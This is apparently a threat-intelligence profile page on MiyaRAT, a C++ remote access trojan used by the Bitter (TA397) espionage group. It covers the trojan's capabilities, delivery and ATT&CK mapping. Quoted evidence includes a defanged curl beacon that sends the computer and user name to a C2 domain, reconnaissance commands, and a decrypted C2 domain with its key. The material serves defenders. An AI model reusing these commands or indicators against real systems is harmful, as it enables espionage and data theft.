Skip to main content
Mallory
Malware2 associated actors

MiyaRAT

Tracked since Nov 25, 2025 · Updated 4 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns0Associated
Actors2Associated
ATT&CK23Techniques
IOCs20Tracked
Type
RAT
Capabilities
ExfiltrationPost exploitationReconnaissance
Delivery
Spearphishing
Platforms
Windows

MiyaRAT is a custom C++ remote access trojan first observed in 2024 and used by the Bitter espionage group, also tracked as TA397 and APT-Q-37. It is part of Bitter’s progression from simpler downloaders toward more capable post-compromise tooling and has been deployed in espionage operations targeting government, diplomatic, defense, and other strategically relevant organizations, including activity against targets in South Asia and Turkey.

MiyaRAT is designed for interactive remote control and intelligence collection on compromised Windows systems. Documented capabilities include host reconnaissance, directory and file enumeration, file deletion, screenshot capture, shell or reverse-shell style command execution, file upload and download, and process termination. It gathers basic victim information before contacting command-and-control infrastructure, including system and user details, and then enters a command-processing loop awaiting operator instructions.

Observed variants show ongoing development. Early reporting identified a version labeled 1.1. Later variants appended version information to the initial host-information beacon and used simple XOR protection for command-and-control traffic. A 2025 variant retained largely the same operator functionality while modifying string decryption and command-and-control obfuscation, indicating iterative efforts to hinder signature-based detection rather than major architectural redesign. Across reporting, MiyaRAT has been characterized as operationally straightforward but actively maintained.

MiyaRAT has been delivered by Bitter through staged intrusion chains rather than as a standalone mass-distributed payload. Observed delivery methods include spearphishing-led compromises followed by manual operator activity and deployment via MSI installers acting as droppers. In at least one campaign, Bitter operators performed host enumeration and then selectively installed MiyaRAT as a follow-on payload, consistent with targeted espionage tradecraft and victim pre-filtering.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
Bitter

MiyaRAT is another RAT written in C++, first observed in 2024.

via threatray blogthreatray.com
APT Q 37

ultimately distributing a brand new trojan horse, MiyaRat, in September. ... the PDB shows that the Trojan has been named "Miya" by the attackers, and the current version is 1.1.

via qianxin ti centerti.qianxin.com
MITRE ATT&CK

Techniques & procedures

23 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1566PhishingEvidence2

The tactics of these groups have hardly changed much from 2019 to the present... but the phishing mode by casting a wide net can still affect government and enterprise customers to a certain extent.

T1566.001Spearphishing AttachmentEvidence1

On November 18, 2024, TA397 (also known by third-party researchers as Bitter) targeted a defense sector organization in Turkey with a spearphishing lure. The email included a compressed archive (RAR) file attachment...

Execution

5 techniques
T1053.005Scheduled TaskEvidence2

The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.

T1059Command and Scripting InterpreterEvidence1

BDarkRAT includes standard RAT capabilities such as executing shell commands, downloading files, and managing files on the compromised system.

T1059.001PowerShellEvidence1

Inside the “Participation” stream was a base64 encoded PowerShell blob... This caused the ~tmp.pdf file to run the base64 encoded PowerShell contained within the “Participation” ADS stream...

T1059.003Windows Command ShellEvidence3

The backdoor supports several commands, each executed in its own thread, notably: ... Executing remote commands

T1204.002Malicious FileEvidence1

putting aside the initial attack payload chm, lnk and other outdated technologies...

Persistence

1 technique
T1053.005Scheduled TaskEvidence2

The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.

Privilege Escalation

1 technique
T1053.005Scheduled TaskEvidence2

The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.

Stealth

5 techniques
T1027Obfuscated Files or InformationEvidence1

Important strings are obfuscated with a simple encoding algorithm where each character is decoded by subtracting 1.

T1036MasqueradingEvidence1

The email included... a shortcut (LNK) file masquerading as a PDF (PUBLIC INVESTMENTS PROJECTS 2025.pdf.lnk)... the user is lured to believe that a PDF file is being opened due to the extension pdf.lnk. By default, Windows hides the real extension of a file.

T1070.004File DeletionEvidence1

DELz Delete the specified file

T1140Deobfuscate/Decode Files or InformationEvidence1

The Trojan first decrypts the C2 domain name "samsnewlooker.com". Decryption is done by subtracting the key bytes, and the key used for decryption is set to "doobiedoodoozie".

T1564.004NTFS File AttributesEvidence2

This blog post details TA397’s usage of NTFS alternate data streams (ADS) in combination with PDF and LNK files to gain persistence... The second ADS is the “Participation” ADS. Inside the “Participation” stream was a base64 encoded PowerShell blob.

Discovery

5 techniques
T1033System Owner/User DiscoveryEvidence1

This scheduled task attempted to send target host information (username and computer name) with the curl utility every 17 minutes... GET hxxp://jacknwoods[.]com/jacds.php?jin=%computername%_%username%

T1057Process DiscoveryEvidence1

tasklist >> abc.pdf

T1082System Information DiscoveryEvidence3

The downloader starts by collecting system information, which includes username, computer name, and the operating system.

T1083File and Directory DiscoveryEvidence3

The RAT includes standard functionality for directory listing, file transfer (both upload and download), and shell command execution.

T1518Software DiscoveryEvidence1

wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName >> abc.pdf

Collection

2 techniques
T1113Screen CaptureEvidence3

This variant shared the same new capabilities as the one discovered in 2024, it reverted to using hex-encoded C2 addresses like the older variant.

T1560Archive Collected DataEvidence1

The email included a compressed archive (RAR) file attachment containing a decoy PDF (~tmp.pdf) file... a shortcut (LNK) file masquerading as a PDF... and an Alternate Data Stream (ADS) file that contained PowerShell code.

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence1

The Trojan first decrypts the C2 domain name "samsnewlooker.com"... calls WSAConnectByNameW to connect to port 56172 of the C2 server.

T1071.001Web ProtocolsEvidence1

This scheduled task attempted to send target host information with the curl utility every 17 minutes to the domain jacknwoods[.]com... Proofpoint observed TA397 operators respond to these requests with manual commands...

T1105Ingress Tool TransferEvidence3

SFS Connect to the specified port of the C2 server to perform file transfer operations... UPL1 uploads the file and DWNL downloads the file.

Exfiltration

1 technique
T1041Exfiltration Over C2 ChannelEvidence2

After that, the stealer reads the log file and exfiltrates the collected files.

Indicators of compromise

Observables

20 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching20Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping23Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.